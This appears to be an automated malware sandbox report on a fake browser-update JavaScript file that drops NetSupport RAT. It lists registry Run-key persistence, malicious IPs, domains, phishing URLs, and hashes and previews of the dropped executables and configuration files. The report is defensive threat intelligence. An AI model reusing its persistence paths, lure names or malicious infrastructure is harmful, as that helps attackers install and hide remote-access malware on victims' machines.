Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: updates.js

Simulations

Behavior and APIs

Time	Type	Description
16:29:46	API Interceptor	42x Sleep call for process: powershell.exe modified
16:30:24	API Interceptor	5910610x Sleep call for process: client32.exe modified
21:29:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HQWQTO C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe
21:30:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run HQWQTO C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.158.245.103	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	http://94.158.245.103/fakeurl.htm
	updates.js	Get hash	malicious	NetSupport RAT	Browse	http://94.158.245.103/fakeurl.htm
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	http://94.158.245.103/fakeurl.htm
23.227.193.59	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	dfwreds.com/data.php?6961
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	beetrootculture.com/favicon.ico
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	beetrootculture.com/favicon.ico
104.26.0.231	updates.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	q8m0iSxPqZ.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	q8m0iSxPqZ.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	VtZtwUsgtrnEnlkxHy.ps1	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	http://wsj.pm	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SecureClientInstaller.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	IN___T9ZEKNFSIJ.LNK.lnk	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	IN___ODZ4JE3VG1.LNK.lnk	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	11068-1106811068-11068.lnk	Get hash	malicious	NetSupport RAT, NetSupport Downloader, MalLnk	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	updates.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	17851032425.zip	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	q8m0iSxPqZ.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	q8m0iSxPqZ.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT, LummaC Stealer, NetSupport Downloader	Browse	172.67.68.212
	SAPConcur.msix	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	MDE_File_Sample_fb7baecc9f46e01492b4e3e6409d6c73f83a1169.zip	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
dfwreds.com	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	23.227.193.59

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	94.158.245.103
	yvM2XCEkGj.exe	Get hash	malicious	Raccoon Stealer v2	Browse	5.181.159.42
	updates.js	Get hash	malicious	NetSupport RAT	Browse	94.158.245.103
	xUtQLCJLoN.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	GsPg7N8T6N.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	ZNxa7TSWl4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	fj5cuMFGnv.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	J33Y3d3zTW.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	0ilcDpXPQz.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	fJky6Kh6w1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
HVC-ASUS	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	23.227.193.59
	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse	23.227.193.59
	SecuriteInfo.com.Program.Unwanted.2818.3154.4230.exe	Get hash	malicious	Petite Virus	Browse	46.21.150.242
	DHL119040 receipt document,pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse	23.227.203.18
	502407267 RUAG FOODPLAZA.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	23.111.142.162
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	23.227.193.59
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	23.111.168.85
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	23.227.193.59
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	23.111.180.146
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	23.111.180.146
CLOUDFLARENETUS	https://rzp.io/i/xy1F341v	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://s3.us-east-2.amazonaws.com/vanproteaactiomfaautomattification/crosoftfaactiomfaautomattification.html?uaid=is0f7fb0456e=5%3aLPSRYI&at=9&xsdata=MDV8MDJ8YW5nZWxAZm91cnN0YXJkcnl3YWxsLmNvbXxkN2QwMmI4ZmMyOTM0MzkzMTE1MzA4ZGM5YWYzMzBjZXw1N2Q4Mzc1NTQyNjc0MjZjODNkMGRkYTgxZjRkNDM5MXwxfDB	Get hash	malicious	Unknown	Browse	172.66.47.90
	http://links.888brands.net/ctt?m=34615482&r=LTg2NDEhwtlzNjA1MDIS1&b=0&j=MjUyMjI0NDU0OAS2&mt=1&kt=12&kx=1&k=888-external-en_custhelp_com_a&kd=//brandequity.economictimes.indiatimes.com/etl.php?url=petradarclub.com.br/dayo/i4hp2/captcha/d2FkZS5tb3JyaXNvbkBncm9zcy13ZW4uY29t	Get hash	malicious	HTMLPhisher	Browse	172.67.167.161
	https://sup3300.org/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://acrobat.adobe.com/id/urn:aaid:sc:eu:ee698a8c-0f5f-4d49-8e57-941bebba7ea3	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://s3.us-east-2.amazonaws.com/vanproteaactiomfaautomattification/crosoftfaactiomfaautomattification.html?uaid=is0f7fb0456e=5%3aLPSRYI&at=9&xsdata=MDV8MDJ8YW5nZWxAZm91cnN0YXJkcnl3YWxsLmNvbXxkN2QwMmI4ZmMyOTM0MzkzMTE1MzA4ZGM5YWYzMzBjZXw1N2Q4Mzc1NTQyNjc0MjZjODNkMGRkYTgxZjRkNDM5MXwxfDB	Get hash	malicious	Unknown	Browse	172.66.47.90
	http://webnovelpub.pro/	Get hash	malicious	Unknown	Browse	104.21.11.245
	https://s3.us-east-2.amazonaws.com/vanproteaactiomfaautomattification/crosoftfaactiomfaautomattification.html?uaid=is0f7fb0456e=5%3aLPSRYI&at=9&xsdata=MDV8MDJ8YW5nZWxAZm91cnN0YXJkcnl3YWxsLmNvbXxkN2QwMmI4ZmMyOTM0MzkzMTE1MzA4ZGM5YWYzMzBjZXw1N2Q4Mzc1NTQyNjc0MjZjODNkMGRkYTgxZjRkNDM5MXwxfDB	Get hash	malicious	Unknown	Browse	1.1.1.1
	VM-Transcript Caller Left (2) CALLMSG (000049Secs) ofsoptics.com Te.... (15.5 KB).msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	https __fxb.opgandi.com_F7kw_.html	Get hash	malicious	Unknown	Browse	1.1.1.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	updates.js	Get hash	malicious	NetSupport RAT	Browse
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
	Update_122.0.616.js	Get hash	malicious	NetSupport RAT	Browse
	BILL93607.js	Get hash	malicious	NetSupport RAT	Browse
	http://gg.gg/carzzz#fy	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	updates.js	Get hash	malicious	NetSupport RAT	Browse
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
	Update_122.0.616.js	Get hash	malicious	NetSupport RAT	Browse
	BILL93607.js	Get hash	malicious	NetSupport RAT	Browse
	http://gg.gg/carzzz#fy	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

Download File

Process:	C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	16
Entropy (8bit):	3.077819531114783
Encrypted:	false
SSDEEP:	3:llD:b
MD5:	C40449C13038365A3E45AB4D7F3C2F3E
SHA1:	CB0FC03A15D4DBCE7BA0A8C0A809D70F0BE6EB9B
SHA-256:	1A6B256A325EEE54C2A97F82263A35A9EC9BA4AF5D85CC03E791471FC3348073
SHA-512:	3F203E94B7668695F1B7A82BE01F43D082A8A5EB030FC296E0743027C78EAB96774AB8D3732AFE45A655585688FB9B60ED355AEE4A51A2379C545D9440DC974C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	40.7357,-74.1724

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1524
Entropy (8bit):	5.3904027322805375
Encrypted:	false
SSDEEP:	24:31Nn4SKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNmwr8HJYBlD3RB+j:FNn4SU4y4RQmFoUeCamfm9qr9tK8Nfm3
MD5:	652454284F90BD3744B5DC8A572B5080
SHA1:	AC04F05E3935F1F95EB90EE1D54A6B4BD27EDCDC
SHA-256:	12BD82D57AF13593F725DB195F03331C5667C1280EAF76DC1642E20C53AD260E
SHA-512:	98656D2368850A9F4B690D69FFACF412B0D38AFFEDF9DC25CECF653BDE2232725F5276FF340CD0C9AD95EE349776A2E86FE5C4EB4F70EC651718B7CBC9761E35
Malicious:	false
Reputation:	low
Preview:	@...e...........8.....................&..............@..........H...............x..}...@..."~.u....... .System.IO.Compression.FileSystemH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Ut

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dfxu2od.ja4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olj24nsh.di3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Joe Sandbox View:	Filename: Update 124.0.6367.158.js, Detection: malicious, Browse Filename: updates.js, Detection: malicious, Browse Filename: Update 124.0.6367.158.js, Detection: malicious, Browse Filename: Update_124.0.6367.158.js, Detection: malicious, Browse Filename: MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip, Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse Filename: Update_122.0.616.js, Detection: malicious, Browse Filename: BILL93607.js, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\NSM.LIC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.924914741174998
Encrypted:	false
SSDEEP:	6:O/oPITDKHMoEEjLgpVUK+Odfu2M0M+ZYpPM/iotqO2La8l6i7s:XAyJjjqVUKHdW2MdRPM/iotq08l6J
MD5:	E9609072DE9C29DC1963BE208948BA44
SHA1:	03BBE27D0D1BA651FF43363587D3D6D2E170060F
SHA-256:	DC6A52AD6D637EB407CC060E98DFEEDCCA1167E7F62688FB1C18580DD1D05747
SHA-512:	F0E26AA63B0C7F1B31074B9D6EEF88D0CFBC467F86B12205CB539A45B0352E77CE2F99F29BAEAB58960A197714E72289744143BA17975699D058FE75D978DFD0
Malicious:	true
Preview:	1200..0x3ca968c5....[[Enforce]]....[_License]..control_only=0..expiry=01/01/2028..inactive=0..licensee=XMLCTL..maxslaves=9999..os2=1..product=10..serial_no=NSM303008..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\GRDCWLLI20\NSM.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: Update 124.0.6367.158.js, Detection: malicious, Browse Filename: updates.js, Detection: malicious, Browse Filename: Update 124.0.6367.158.js, Detection: malicious, Browse Filename: Update_124.0.6367.158.js, Detection: malicious, Browse Filename: MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip, Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse Filename: Update_122.0.616.js, Detection: malicious, Browse Filename: BILL93607.js, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.80911343409989
Encrypted:	false
SSDEEP:	12288:HqArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/n6:ekuK2XOjksobom/n6
MD5:	2C88D947A5794CF995D2F465F1CB9D10
SHA1:	C0FF9EA43771D712FE1878DBB6B9D7A201759389
SHA-256:	2B92EA2A7D2BE8D64C84EA71614D0007C12D6075756313D61DDC40E4C4DD910E
SHA-512:	E55679FF66DED375A422A35D0F92B3AC825674894AE210DBEF3642E4FC232C73114077E84EAE45C6E99A60EF4811F4A900B680C3BF69214959FA152A3DFBE542
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'................................................P....@.............................o...D...x....0..@...............x)...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\beta.identity_helper.exe.manifest

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	5.302827444337103
Encrypted:	false
SSDEEP:	24:2dt4uiNK+bIgMy5PYMPgiE/M7cJ3Zb2WF+HZ6iYzDfDJ6:cSVK+bIgMyRYSzIlz+HZ6XDfDJ6
MD5:	FFCF52AB3F76D8FB8E0C0ECA5F858F01
SHA1:	5EC475C9A55DA6684372373D6DFC5D13B3DE48CF
SHA-256:	8B6F3769FC0367421E2748C9775BBF16645B502621A8AEEF4974C58BFA067864
SHA-512:	0E64B1E26130E5A854BB3E321D529957CEE47BEC99D4A0E3A80FCF268661FD5F9DC96E2386FE3EE29654524D03CA900CC7A7CD2499742EB01711AA66DC2A03CB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="" publicKeyToken="6595b64144ccf1df" language=""></assemblyIdentity>.. </dependentAssembly>.. </dependency>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">.. <security>.. <requestedPrivileges>.. <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>.. </requestedPrivileges>.. </security>.. </trustInfo>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>.. <s

C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	103824
Entropy (8bit):	6.674952714045651
Encrypted:	false
SSDEEP:	768:q78j0+RH6e6XhBBxUcnRWIDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDXDU:qwpHLiLniepfxP91/bQxnu
MD5:	C4F1B50E3111D29774F7525039FF7086
SHA1:	57539C95CBA0986EC8DF0FCDEA433E7C71B724C6
SHA-256:	18DF68D1581C11130C139FA52ABB74DFD098A9AF698A250645D6A4A65EFCBF2D
SHA-512:	005DB65CEDAACCC85525FB3CDAB090054BB0BB9CC8C37F8210EC060F490C64945A682B5DD5D00A68AC2B8C58894B6E7D938ACAA1130C1CC5667E206D38B942C5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L....iMR.....................v...... ........ ....@.................................<h....@.................................< ..<....0...q...........\|.............. ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....q...0...r..................@..@.reloc..l............z..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.4560190834919675
Encrypted:	false
SSDEEP:	12:dxS2hz7YU+Sj8qGShR8kkivlnxOZ7+DP981E7GXXfDWQCYnmSuObANTEa:dI2hzEPI8qNR8pivlnxOoG1fXXfD/DbK
MD5:	C94845BB509056E66EE5767759C9E5BD
SHA1:	C1B6E003CF0AB1F236375FAEBE8707D519FD8A3D
SHA-256:	B2CAADB660455F1AAF3737B93879E35D05602BE1FDF2531602FD61E006E8C80A
SHA-512:	6C3750804763221BC72031C051EB9AE67874FFAE7795F96435EF577FF3F7E84F5A42C9715EBBDE53B1BD9E9AD5B7E59A691AB36DF2267A5A5FC2C84F032D1E86
Malicious:	false
